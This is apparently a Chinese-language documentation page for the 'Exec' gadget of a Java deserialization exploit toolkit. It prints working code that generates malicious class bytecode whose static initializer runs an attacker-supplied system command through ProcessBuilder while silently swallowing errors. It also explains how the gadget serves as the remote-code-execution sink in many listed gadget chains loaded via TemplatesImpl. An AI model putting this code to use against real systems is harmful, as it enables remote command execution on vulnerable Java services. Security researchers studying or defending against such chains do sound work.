- 类别:bytecode 别名:— 优先级:10
- 作者:Ar3h、jlkl
- 依赖:无第三方依赖(仅用内置 Javassist 生成字节码;生成期使用
org.apache.commons.lang.StringEscapeUtils做转义)
生成一段「用 ProcessBuilder 执行系统命令」的恶意类字节码(byte[]),自动识别 Windows/Linux,内部以 cmd.exe /c <cmd> 或 /bin/sh -c <cmd> 执行。它是绝大多数 RCE 预设链的最终 sink,产出的字节码交由上游 BytecodeConvert 处理后装入 TemplatesImpl 之类的类加载载体触发。
- 入口
tags:Bytecode、ENDBytecode—— 表示本 gadget 产出「原始字节码」,可被nextTags含Bytecode的上游(即 BytecodeConvert)承接。END—— 标记本 gadget 为链的合法终点(sink),其后不再接任何 gadget。
- 衔接
nextTags:无 —— 本 gadget 是链尾,不产出可继续衔接的对象。 excludes:无。
Gadget 本体只负责「取内层(本链中即无内层,直接产字节码)+ 定制模板类字段」:
@Param(name="命令", description="default: calc")
public String cmd = "calc";
public byte[] getObject() throws Exception {
String javaSafeCmd = StringEscapeUtils.escapeJava(this.cmd); // 对命令做 Java 字符串转义,防止特殊字符破坏字节码常量池
JavassistHelper javassistHelper = new JavassistHelper(ExecBytecode.class); // 以模板类为蓝本
javassistHelper.modifyStringField("cmd", javaSafeCmd); // 把模板里的静态字段 cmd 改写成用户命令
return javassistHelper.getBytecode(); // 导出修改后的 class 字节码
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // 本链无内层数据,仅推进链上下文(对齐 invoke 由内向外的构建约定)
return this.getObject();
}真正执行命令的逻辑在模板类 ExecBytecode 中,它借助静态初始化块在类被加载/初始化的瞬间触发:
public class ExecBytecode {
public static String base;
public static String sep;
public static String cmd; // 由 Exec.getObject() 反射改写为攻击者命令
public ExecBytecode() {
try {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
base = "cmd.exe"; sep = "/c"; // Windows
} else {
base = "/bin/sh"; sep = "-c"; // *nix
}
String[] strings = new String[]{base, sep, cmd};
new ProcessBuilder(strings).start(); // 执行命令
} catch (Exception exception) { /* 静默吞异常,避免链因命令异常中断 */ }
}
static { new ExecBytecode(); } // 类初始化即 new,触发上面的命令执行
}关键点:sink 类把恶意逻辑放在 static {} + 构造函数中,因此只要该类被加载并初始化(例如 TemplatesImpl.newTransformer() 通过 defineClass + newInstance 实例化 translet)即触发 RCE,无需调用任何业务方法。cmd 走 StringEscapeUtils.escapeJava 转义是为了让含引号/反斜杠/中文的命令能安全地写入常量池字符串。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
命令 | 要执行的系统命令,内部包装为 cmd.exe /c 或 /bin/sh -c |
calc |
任意字符串 |
- 无版本依赖,纯字节码 sink;用
ProcessBuilder(比Runtime.exec更稳,参数以数组传递,天然规避空格切分问题)。 - 自动识别操作系统,Windows 走
cmd.exe /c,其余走/bin/sh -c(模板中判断os.name含win)。 - 常与 BytecodeConvert 配合:BytecodeConvert 负责改类名、设置字节码版本(默认 JDK6/50)、可选实现
AbstractTranslet接口、混淆等,再交给TemplatesImpl触发,要求目标 JDK < 17(高版本改用TemplatesImpl2+ 反射绕过)。 - 静默
catch使命令即便报错也不影响反序列化流程完成。
作为最常用的 RCE sink,出现在大量预设链中,包括:CB1链、CB2链、K1/K2/K3/K4链、JDK17 RCE链、JDK原生链、Groovy/SnakeYaml/Beanshell/Tomcat EL/Xslt 各执行链、Hessian Fastjson/Jackson/XBean 链、Axis2链、二次反序列化链、Rome1/Rome2 二次反序列化链、命令执行([BytecodeConvert, Exec])等(详见 gadgets.json usedInChains)。
- 上游(承接本
Bytecodetag):BytecodeConvert(nextTags=Bytecode),再往上是TemplatesImpl等字节码载体。 - 同族 sink:ExecCustom(
Runtime.exec版)、DownloadExec(下载后执行)、Download(仅下载)、Sleep/DNSLog 等探测 sink。